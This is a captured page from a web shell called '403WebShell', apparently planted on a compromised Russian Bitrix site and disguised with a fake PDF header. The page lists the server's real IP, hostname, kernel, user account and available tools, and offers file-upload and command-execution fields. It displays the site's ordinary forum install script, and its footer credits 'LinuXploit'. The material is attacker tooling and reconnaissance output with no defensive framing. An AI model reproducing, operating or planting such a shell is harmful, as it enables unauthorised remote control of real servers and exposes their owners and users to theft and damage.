%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.15.25.254
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/forum/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/forum/install/do_install2.php
<?if(!check_bitrix_sessid()) return;
IncludeModuleLangFile(__FILE__); 
if(is_array($GLOBALS["errors"]) && count($GLOBALS["errors"])>0):
	echo CAdminMessage::ShowMessage(Array("TYPE"=>"ERROR", "MESSAGE" =>GetMessage("MOD_INST_ERR"), "DETAILS"=>implode("<br>", $GLOBALS["errors"]), "HTML"=>true));
else:
	echo CAdminMessage::ShowNote(GetMessage("MOD_INST_OK"));
endif;

if ($_REQUEST["INSTALL_PUBLIC"] == "Y" && is_array($_REQUEST["PUBLIC_INFO"]) && !empty($_REQUEST["PUBLIC_INFO"]))
{
	$bREWRITE = ($_REQUEST["REWRITE_PUBLIC"] == "Y" ? true : false);
	foreach ($_REQUEST["PUBLIC_INFO"] as $res)
	{
		// Fatal errors
		if (!is_array($res) || empty($res))
			continue;
		// Errors
		$res["ID"] = intval($res["ID"]);
		$res["PATH"] = htmlspecialcharsbx(trim($res["PATH"]));
		$res["MODE"] = ($res["MODE"] == "sef" ? "sef" : "nsef");
		if ($res["PATH"] == '')
		{
			?><?=$res["ID"]?>. <?=GetMessage("FORUM_BAD_PATH")?><?
			continue;
		}
		$res["~PATH"] = preg_replace("/[\/\\\]+/", "/", "/".$res["PATH"]."/");
		$res["PATH"] = preg_replace("/[\/\\\]+/", "/", $_SERVER["DOCUMENT_ROOT"]."/".$res["PATH"]."/");
		CheckDirPath($res["PATH"]);
		$fileExistBefore = file_exists($res["PATH"]."index.php");
		CopyDirFiles($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/forum/install/public/components/".$res["MODE"], 
			$res["PATH"], $bREWRITE, true);
			
		if ($res["MODE"] == "sef" && (!$fileExistBefore || $bREWRITE) && file_exists($res["PATH"]."index.php"))
		{
			$file = file_get_contents($res["PATH"]."index.php");
			if ($file)
			{
				$file = str_replace("#SEF_FOLDER#", $res["~PATH"], $file);
				if ($f = fopen($res["PATH"]."index.php", "w"))
				{
					@fwrite($f, $file);
					@fclose($f);
				}
			}
			$arFields = array(
				"CONDITION" => "#^".$res["~PATH"]."#",
				"RULE" => "",
				"ID" => "bitrix:forum",
				"PATH" => $res["~PATH"]."index.php"
			);
			Bitrix\Main\UrlRewriter::add(CSite::GetDefSite(), $arFields);
		}
		?><p><a href="<?=$res["~PATH"]?>"><?=$res["~PATH"]?></a></p><?
	}
}

?><form action="<?=$APPLICATION->GetCurPage()?>">
	<input type="hidden" name="lang" value="<?=LANG?>">
	<input type="submit" name="" value="<?=GetMessage("MOD_BACK")?>">	
<form><?

Youez - 2016 - github.com/yon3zu
LinuXploit